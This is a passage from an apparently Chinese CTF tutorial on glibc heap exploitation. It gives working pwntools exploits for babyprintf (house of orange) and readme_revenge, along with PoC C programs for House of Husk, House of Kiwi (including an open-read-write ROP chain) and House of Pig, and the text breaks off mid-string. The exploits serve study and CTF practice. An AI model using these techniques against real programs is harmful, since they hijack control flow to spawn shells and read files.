    v2 = _IO_getc(stdin);
    v4[v0] = v2;
    if ( v2 == '\n' )
      break;
    if ( ++v0 == 9 )
    {
      if ( v4[9] != '\n' )
        return strtoul(v4, 0LL, 0);
      v1 = 9LL;
      break;
    }
  }
  v4[v1] = 0;
  return strtoul(v4, 0LL, 0);
}

由于程序开启了 FORTIFY 机制, 因此在程序编译时所有的 printf() 都被 __printf_chk() 替换掉了,它有如下限制:

  • 包含 %n 的格式化字符串不能位于程序内存中的可写地址。
  • 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用 %7$p,你必须同时使用1,2,3,4,56

先分配 size 大小的空间(不超过0x1000),然后在这里读入字符串,由于使用的是 gets() 函数,存在堆溢出漏洞。然后直接调用__printf_chk() 打印这个字符串,存在栈信息泄露漏洞。

漏洞利用

前置脚本

from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
is_debug = True
is_local = True

def connect():
    global io, elf, libc
    if is_local:
        io = process('./babyprintf')
    else:
        io = remote('192.168.152.130', 10001)
    elf = ELF("./babyprintf")
    libc = elf.libc

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(io, gdbscript=gdbscript)
        pause()
    else:
        pass

def prf(size, string):
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendlineafter(b"string: ", string)

泄露libc

def leak_libc():
    global libc_base
    payload  = b"A" * 16
    payload += p64(0) + p64(0xfe1)              # top chunk header
    prf(16, payload)

    #gdb.attach(io, 'b *0x400810')
    prf(0x1000, b'%p%p%p%p%p%pA')                # _int_free in sysmalloc
    #pause()
    libc_start_main = int(io.recvuntil(b'A', drop=True)[-12:], 16) - 241
    libc_base = libc_start_main - libc.symbols['__libc_start_main']
    log.info("libc_base address: 0x%x" % libc_base)

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39

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40

通过溢出将 top_chunksize 改成 fe1,然后利用申请 0x1000 > 0xfe1 大小的 chunkold_top_chunk 放进 unsorted bin 中,并利用第二次的格式化字符串漏洞泄露 libc 地址。

house of orange

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
    vtable_addr = libc_base + 0x3BE4C0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    _IO_buf_end = (bin_sh_addr - 100) // 2
    stream  = p64(0) + p64(0x61)                # fake header, fp->_flags, fp->_IO_read_ptr
    stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(0xffffffffffffffff)           # fp->_IO_write_ptr
    stream += p64(0) * 2                        # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64(_IO_buf_end)                  # fp->_IO_buf_end
    stream  = stream.ljust(0xc0, b'\x00')
    stream += p64(0)                            # fp->_mode

    payload  = b'A' * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr)                 # _IO_FILE_plus->vtable # 0xd8
    payload += p64(system_addr)                 # 0xe0
    gdb.attach(io, 'b *0x400810')
    prf(16, payload)
    io.sendline(b"0x1000")        # abort routine
    pause()

利用堆溢出漏洞构造如下 HeapIO_FILE 结构:

41

41

我们需要利用 abort 调用 _IO_OVERFLOW 所以需要 fp->_mode0fp->_IO_write_ptr>_fp->_IO_write_base。然后利用 _IO_str_overflow 函数所以需要绕过以下检查。

  • _IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • _IO_write_ptr = ((bin_sh_addr - 100) // 2) +1 ,  _IO_write_base = 0x0
  • fp->_s._allocate_buffer(fp+0xe0) 改为 systemone_gadget 地址。

利用 house of orange_IO_list_allvtable 指向 _IO_str_jumps,然后利用 abort 调用 _IO_OVERFLOW->_IO_str_overflow 然后进入我们上面讲的调用流,最后调用 system("/bin/sh\x00")

42

42

最后libc 的低 32 位地址为负时,攻击才会成功。

House of husk

glibc >= 2.23

原理

这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大 chunk 时(超过fastbin),存在或可以构造出UAF漏洞。printf 函数通过检查 __printf_function_table 是否为空,来判断是否有自定义的格式化字符,若为 printf 类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec] 处的函数指针。

int
__register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{
    // 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
      if (spec < 0 || spec > (int) UCHAR_MAX)
    {
          __set_errno (EINVAL);
          return -1;
    }

     int result = 0;
      __libc_lock_lock (lock);

      if (__printf_function_table == NULL)
    {
        // 若spec为空,程序则会通过calloc分配两个堆地址来存放
        // __printf_arginfo_table和__printf_function_table
          __printf_arginfo_table = (printf_arginfo_size_function **)
        calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
          if (__printf_arginfo_table == NULL)
        {
              result = -1;
              goto out;
        }

          __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}

我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb,通过篡改__printf_arginfo_table__printf_function_table来进行攻击,可以看到当__printf_function_table非空,将会调用printf_positional函数

int
__printf (const char *format, ...)
{
    va_list arg;
    int done;
    va_start (arg, format);
    done = vfprintf (stdout, format, arg);
    va_end (arg);
    return done;
}
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
    ...
      if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
            goto do_positional;
    ...
do_positional:
    ...
      done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);
    ...
}
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
           va_list ap, va_list *ap_savep, int done, int nspecs_done,
           const UCHAR_T *lead_str_end,
           CHAR_T *work_buffer, int save_errno,
           const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
    ...
    nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
    ...
    extern printf_function **__printf_function_table;
    int function_done;

    if (spec <= UCHAR_MAX
        && __printf_function_table != NULL
        && __printf_function_table[(size_t) spec] != NULL)
     {
          const void **ptr = alloca (specs[nspecs_done].ndata_args
                     * sizeof (const void *));

          /* Fill in an array of pointers to the argument values.  */
          for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i)
            ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

          /* Call the function.  */
          function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr);
            ...
      }
}
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
{
    ...
  if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
     uses more than one.  The normal case is covered though.  If
     the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                   (&spec->info, 1, &spec->data_arg_type,
                    &spec->size)) < 0)
    ...
}
  • 泄露 libc 地址。

  • 修改 global_max_fast 为很大的值,可以 large bin attack/unsorted bin attack

  • __printf_function_table 或者 __printf_arginfo_table 覆盖为指向写有 one_gadget 的内存的指针。其中 one_gadget 在内存中的偏移对应与之后触发漏洞的 spec

  • 如果是利用 __printf_function_table 触发漏洞需要让 __printf_arginfo_table 指向一块内存并且该内存对应 spec 偏移处设为 null ,否则会在 __parse_one_specmb 函数的 if 判断中造成不可预知的错误。

  • 最后调用 printf 触发漏洞获取 shell

POC

/*
 * This is a Proof-of-Concept for House of Husk
 * This PoC is supposed to be run with libc-2.27.
 gcc poc.c -o poc -no-pie -g
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a2fc

int main (void)
{
    unsigned long libc_base;
    char *a[10];
    setbuf(stdout, NULL); // make printf quiet

    /* leak libc */
    a[0] = malloc(0x500); /* UAF chunk */
    a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
    a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
    a[3] = malloc(0x500); /* avoid consolidation */
    free(a[0]);
    // unsorted bin 泄露 libc
    libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
    printf("libc @ 0x%lx\n", libc_base);

    /* prepare fake printf arginfo table */
    /* 'X'-2 mean that prev_size | size */
    *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    // now __printf_arginfo_table['X'] = one_gadget;
    /*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
    /* unsorted bin attack */
    *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
    a[0] = malloc(0x500); /* overwrite global_max_fast */

    /* overwrite __printf_arginfo_table and __printf_function_table */
    free(a[1]);// __printf_function_table => a heap_addr which is not NULL
    free(a[2]);// => one_gadget

    /* ignite! */
    printf("%X", 0);

    return 0;
}

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[34C3CTF2017]readme_revenge

检查信息

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静态编译并且没有去除符号。

试运行

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逆向分析

.text:0000000000400A0D                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D                               public main
.text:0000000000400A0D                               main proc near                          ; DATA XREF: _start+1D↑o
.text:0000000000400A0D
.text:0000000000400A0D                               var_1020= qword ptr -1020h
.text:0000000000400A0D
.text:0000000000400A0D                               ; __unwind {
.text:0000000000400A0D 55                            push    rbp
.text:0000000000400A0E 48 89 E5                      mov     rbp, rsp
.text:0000000000400A11 48 8D A4 24 E0 EF FF FF       lea     rsp, [rsp-1020h]
.text:0000000000400A19 48 83 0C 24 00                or      [rsp+1020h+var_1020], 0
.text:0000000000400A1E 48 8D A4 24 20 10 00 00       lea     rsp, [rsp+1020h]
.text:0000000000400A26 48 8D 35 B3 69 2B 00          lea     rsi, name
.text:0000000000400A2D 48 8D 3D 50 C7 08 00          lea     rdi, unk_48D184    ;%s
.text:0000000000400A34 B8 00 00 00 00                mov     eax, 0
.text:0000000000400A39 E8 22 71 00 00                call    __isoc99_scanf
.text:0000000000400A39
.text:0000000000400A3E 48 8D 35 9B 69 2B 00          lea     rsi, name
.text:0000000000400A45 48 8D 3D 3B C7 08 00          lea     rdi, aHiSBye                    ; "Hi, %s. Bye.\n"
.text:0000000000400A4C B8 00 00 00 00                mov     eax, 0
.text:0000000000400A51 E8 7A 6F 00 00                call    printf
.text:0000000000400A51
.text:0000000000400A56 B8 00 00 00 00                mov     eax, 0
.text:0000000000400A5B 5D                            pop     rbp
.text:0000000000400A5C C3                            retn
.text:0000000000400A5C                               ; } // starts at 400A0D
.text:0000000000400A5C
.text:0000000000400A5C                               main endp

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存在缓冲区漏洞,向 .bss 节的 name 变量写入内容,然后打印它。并且 flag 位于 .data 节,可以利用 __stack_chk_fail() 将其打印出来。

漏洞利用

利用缓冲区溢出篡改 __printf_function_table 指向一个非零值,因为 %sascii0x73,所以让 __printf_arginfo_table 指向 fake_arginfo_table[0x73*8] == __stack_chk_fail(),将 argv[0] 改为 flag 地址。

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exp

from pwn import *

io = process('./readme_revenge')

flag_addr = 0x6b4040
name_addr = 0x6b73e0
argv_addr = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8

stack_chk_fail = 0x4359b0

payload  = p64(flag_addr)       # name
payload  = payload.ljust(0x73 * 8, b"\x00")
payload += p64(stack_chk_fail)  # __printf_arginfo_table[spec->info.spec]
payload  = payload.ljust(argv_addr - name_addr, b"\x00")
payload += p64(name_addr)       # argv
payload  = payload.ljust(func_table - name_addr, b"\x00")
payload += p64(name_addr)       # __printf_function_table
payload  = payload.ljust(arginfo_table - name_addr, b"\x00")
payload += p64(name_addr)       # __printf_arginfo_table

gdb.attach(io, 'b *0x400A4C')
io.sendline(payload)
pause()
io.interactive()

50

50

House of Kiwi

glibc < 2.36

原理

有如下调用链:

#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
  ((expr)                                      \
   ? ((void) 0)                                      \
   : __malloc_assert (#expr, __FILE__, __LINE__, __func__))

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}
#endif

tips:通过large bin chunksizeflag位修改,或者top chunkinuse0等方法可以触发assert

当我们触发 assert 断言时会调用 __malloc_assert__malloc_assert 里有这样一条调用链:fflush->_IO_fflush

int
_IO_fflush (_IO_FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}

执行到 result = _IO_SYNC (fp) ? EOF : 0; 时,会调用 _IO_new_file_sync_IO_file_jumps_ 可写。因此将 _IO_file_jumps_ 对应 _IO_new_file_sync 函数指针的位置覆盖为 one_gadget 就可以获取 shell

利用前提:

  1. 能够触发 __malloc_assert
  2. 能够申请到 _IO_file_sync_IO_helper_jumps 这两个位置并且修改。

POC

未开沙箱 poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void getshell()
{
    system("/bin/sh");
}

size_t libc_base;

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);

    libc_base  = ((size_t)setvbuf) - 0x7a4e0;

    size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

    *((size_t*)_IO_file_sync) = &getshell;

    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    *top_size = (*top_size)&0xFFE;

    malloc(0x1000);

    _exit(-1);
}

51

51

开了沙箱禁用 execve

对于禁用 execve 的程序需要借助 (setcontext+61) + ropshellcode 进行 orwglibc 2.29之后 setcontext中的 gadget变成了以 rdx索引,因此还要先通过 ROP控制 RDX的值。

; setcontext+61
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
    ....
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

_tips:注意,内存中有不止一个  _IO_helper_jumps_ ,具体是哪一个要通过调试确定_

调用 _IO_new_file_syncrdx 指向的是 _IO_helper_jumps_ 结构,该结构同样可写。因此可以通过修改 _IO_helper_jumps_ 中的内容来给寄存器赋值。还需要设置 rsp 指向提前布置好的 rop 的起始位置,同时设置 rip 指向 ret 指令。最后劫持程序流实现 orw

总体利用思路如下:

  • 利用 large bin attack 改位于 _IO_file_jumps 中的_IO_file_sync指针为 setcontext + 61
  • 修改IO_helper_jumps + 0xA0IO_helper_jumps + 0xA8分别为可迁移的存放有 rop 的位置和 ret 指令或者 rop 首个指令地址的位置,则可以进行栈迁移

poc

来自 _sky123_老师

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1

size_t libc_base;
size_t ROP[0x30];
char FLAG[] = "./flag\x00";

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);

    libc_base  = ((size_t)setvbuf) - 0x7a4e0;

    size_t magic_gadget = libc_base + 0x50bd0 + 61; // setcontext + 61

    size_t _IO_helper_jumps = libc_base + 0x1f3980; // _IO_helper_jumps

    size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

    uint32_t i = 0;
    ROP[i++] = pop_rax_ret;
    ROP[i++] = 2;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = (size_t)FLAG;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = 0;
    ROP[i++] = syscall_ret;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 3;
    ROP[i++] = pop_rdx_r12;
    ROP[i++] = 0x100;
    ROP[i++] = 0;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = (size_t)(FLAG + 0x10);
    ROP[i++] = (size_t)read;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 1;
    ROP[i++] = (size_t)write;
    // 设置rsp
    *((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP; 
    // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
    *((size_t*)_IO_helper_jumps + 0xA8/8) = ret; 
     // 设置fflush(stderr)中调用的指令地址
    *((size_t*)_IO_file_sync) = magic_gadget;
    // 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
    // 其中有个判断top_chunk的size中inuse位是否存在
    *top_size = (*top_size)&0xFFE; 

    malloc(0x1000); // 触发assert

    _exit(-1);
}

52

52

glibc-2.36 的执行流

glibc-2.36__malloc_assert 发生重大改变,直接通过系统调用不走 IO,该方法失效。

_Noreturn static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  __libc_message (do_abort, "\
Fatal glibc error: malloc assertion failure in %s: %s\n",
          function, assertion);
  __builtin_unreachable ();
}

House of pig

前置知识

再来看一下 _IO_str_overflow 函数:

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base; // 覆盖到这里
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size); // 调用malloc
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);// 调用memecpy,覆盖
          free (old_buf); // 调用free
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
      ...
      }
  }

利用流程如下:

  • _IO_buf_base 指向 /bin/sh\x00 地址。
  • 控制_IO_buf_end-_IO_buf_base 的值也就是 new_size 的值,进而控制分配的 chunk 的大小,分配到布局好的地址。
  • 利用 memcpy 中覆盖地址,也就是 malloc 出来的 new_buf, 可以覆盖__malloc_hook/__free_hook
  • 最后调用 free(old_buf) -> system("/bin/sh")

glibc-2.34ptmalloc 取消了各种 hook,但依然可以用 house of pig 实现任意地址写任意值,借助其他手段完成权限获取,后面有时间会做补充。

House of Pig 是一个将 Tcache Statsh Unlink AttackFSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 时。

利用条件为

  • 存在 UAF
  • 能执行 abort 流程或程序显式调用 exit 或程序能通过主函数返回。

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BLACK       "30"
#define RED         "31"
#define GREEN       "32"
#define YELLOW      "33"
#define BLUE        "34"
#define PURPLE      "35"
#define GREEN_DARK  "36"
#define WHITE       "37"

#define UNDEFINED   "-1"
#define HIGHLIGHT   "1"
#define UNDERLINE   "4"
#define SPARK       "5"

#define STR_END      "\033[0m"

void printf_color(char* color, char* effect, char* string){
    char buffer[0x1000] = {0};
    strcpy(buffer, "\033[");
    if(effect[0] != '-'){
        strcat(buffer, effect);
        strcat(buffer, ";");
    }
    strcat(buffer, color);
    strcat(buffer, "m");
    strcat(buffer, string);
    printf("%s" STR_END, buffer);
}

int main(){
    printf_color(GREEN, UNDEFINED, "今天我们来学习一下house of pig的利用原理。\n");
    printf_color(GREEN, UNDEFINED, "house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n");
    printf_color(GREEN, UNDEFINED, "首先我们了解一下这种利用方式的基本原理。\n");
    printf_color(GREEN, UNDEFINED, "本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n");
    printf_color(GREEN, UNDEFINED, "在glibc 2.31下,house of pig需要利用__free__hook。\n\n");
    printf_color(RED, HIGHLIGHT, "第一步:获取libc的加载地址及堆地址。\n");
    printf_color(GREEN, UNDEFINED, "通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n");

    size_t puts_addr = (size_t)puts;
    size_t libc_base = puts_addr - 0x84420;
    printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);

    printf_color(GREEN, UNDEFINED, "然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
    size_t chunk_1 = (size_t) malloc(0x4F0) - 0x10;
    printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);

    printf_color(RED, HIGHLIGHT, "第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
    printf_color(GREEN, UNDEFINED, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
    printf_color(GREEN, UNDEFINED, "在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n");
    printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");

    printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1EEE48。\n");

    size_t __free_hook = libc_base + 0x1EEE48;
    printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);

    size_t* vuln_1 = (size_t*)(__free_hook - 0x8);
    // ---------- 第一处漏洞利用 ---------- //
    *vuln_1 = chunk_1;
    // --------------------------------- //

    printf_color(BLUE, HIGHLIGHT, "第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n");

    printf_color(RED, HIGHLIGHT, "第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
    printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1ED5A0。\n");

    size_t* _IO_list_all = (size_t*)(libc_base + 0x1ED5A0);

    printf_color(GREEN, UNDEFINED, "_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n");
    printf_color(GREEN, UNDEFINED, "在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n");
    printf_color(GREEN, UNDEFINED, "exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n");
    printf_color(GREEN, UNDEFINED, "下面是_IO_flush_all_lockp的函数定义:\n\n");
    printf_color(BLUE, HIGHLIGHT, "(/libio/genops.c, line 684)\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "int\n"
                 "_IO_flush_all_lockp (int do_lock)\n"
                 "{\n"
                 "  int result = 0;\n"
                 "  FILE *fp;\n"
                 "\n"
                 "#ifdef _IO_MTSAFE_IO\n"
                 "  _IO_cleanup_region_start_noarg (flush_cleanup);\n"
                 "  _IO_lock_lock (list_all_lock);\n"
                 "#endif\n"
                 "\n"
                 "  \033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
                 "    {\n"
                 "      run_fp = fp;\n"
                 "      if (do_lock)\n"
                 "\t_IO_flockfile (fp);\n"
                 "\n"
                 "      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
                 "\t   || (_IO_vtable_offset (fp) == 0\n"
                 "\t       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
                 "\t\t\t\t    > fp->_wide_data->_IO_write_base))\n"
                 "\t   )\n"
                 "\t  && _IO_OVERFLOW (fp, EOF) == EOF)\n"
                 "\tresult = EOF;\n"
                 "\n"
                 "      if (do_lock)\n"
                 "\t_IO_funlockfile (fp);\n"
                 "      run_fp = NULL;\n"
                 "    }\n\033[1;" PURPLE "m"
                 "\n"
                 "#ifdef _IO_MTSAFE_IO\n"
                 "  _IO_lock_unlock (list_all_lock);\n"
                 "  _IO_cleanup_region_end (0);\n"
                 "#endif\n"
                 "\n"
                 "  return result;\n"
                 "}\n\n");
    printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n");
    printf_color(GREEN, UNDEFINED, "其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n");
    printf_color(GREEN, UNDEFINED, "这个函数指的是vtable中overflow那个字段对应的函数。\n");
    printf_color(GREEN, UNDEFINED, "要执行到这个函数,就必须要让前面一个判断条件满足。\n");
    printf_color(GREEN, UNDEFINED, "这也就是我们伪造FILE结构体时需要注意的地方。\n");
    printf_color(GREEN, UNDEFINED, "下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n");

    size_t chunk_2 = (size_t) calloc(1, 0xF0) - 0x10;
    // ---------- 第二处漏洞利用 ---------- //
    *_IO_list_all = chunk_2;
    // --------------------------------- //
    printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);

    printf_color(RED, HIGHLIGHT, "第四步:伪造FILE结构体。\n");
    printf_color(GREEN, UNDEFINED, "我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n");
    printf_color(GREEN, UNDEFINED, "再次强调注意_IO_flush_all_lockp函数的限定条件。\n");
    printf_color(GREEN, UNDEFINED, "if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n");
    printf_color(RED, HIGHLIGHT, "fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
    printf_color(GREEN, UNDEFINED, "其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n");
    printf_color(GREEN, UNDEFINED, "我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n");

    size_t* fake_FILE = (size_t*) chunk_2;
    fake_FILE[0xC0 / 8] = 0;    // _mode
    fake_FILE[0x20 / 8] = 1;
    fake_FILE[0x28 / 8] = 0xFFFFFFFFFFFF;    // _IO_write_ptr
    fake_FILE[0x30 / 8] = 0;    // _IO_write_base

    printf_color(GREEN, UNDEFINED, "三个字段修改完成。但我们需要修改的可不止这三个字段。\n");
    printf_color(GREEN, UNDEFINED, "在这个判断条件通过后,我们将会进入overflow函数。\n");
    printf_color(GREEN, UNDEFINED, "house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n");
    printf_color(GREEN, UNDEFINED, "这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n");
    printf_color(GREEN, UNDEFINED, "看一下IDA中的_IO_str_jumps结构体:\n\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "__libc_IO_vtables:00000000001E9560 qword_1E9560    dq 0                    ; DATA XREF: sub_52C20+49A↑o\n"
                 "__libc_IO_vtables:00000000001E9560                                         ; sscanf+B5↑o ...\n"
